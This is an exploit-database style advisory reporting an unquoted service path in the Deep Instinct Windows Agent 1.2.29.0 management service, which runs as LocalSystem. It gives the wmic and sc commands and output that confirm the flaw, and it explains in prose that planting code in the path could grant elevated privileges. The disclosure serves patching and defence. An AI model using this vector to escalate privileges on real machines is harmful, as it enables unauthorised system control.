# Exploit Title: Deep Instinct Windows Agent 1.2.29.0 - 'DeepMgmtService' Unquoted Service Path # Discovery by: Oscar Flores # Discovery Date: 2020-03-05 # Vendor Homepage: https://www.deepinstinct.com/ # Software Links : https://www.deepinstinct.com/2019/05/22/hp-collaborates-with-deep-instinct-to-roll-out-ai-powered-malware-protection-for-next-generation-hp-elitebook-and-zbook-pcs/ # https://press.ext.hp.com/us/en/press-releases/2019/hp-elevates-premium-and-personalized-pc-experiences-for-leaders-and-creators.html # Tested Version: 1.2.29.0 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Pro 64 bits # Step to discover Unquoted Service Path: C:\>wmic service get displayname,pathname,name | findstr /i "deepmgmtservice" Deep Instinct Management Service DeepMgmtService C:\Program Files\HP Sure Sense\DeepMgmtService.exe # Service info: C:\>sc qc DeepMgmtService [SC] QueryServiceConfig SUCCESS SERVICE_NAME: DeepMgmtService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\HP Sure Sense\DeepMgmtService.exe LOAD_ORDER_GROUP : FSFilter Anti-Virus TAG : 0 DISPLAY_NAME : Deep Instinct Management Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\> #Exploit: # A successful attempt would require the local user to be able to insert their code in the # system root path undetected by the OS or other security applications where it could # potentially be executed during application startup or reboot. If successful, the local # user's code would execute with the elevated privileges of the application.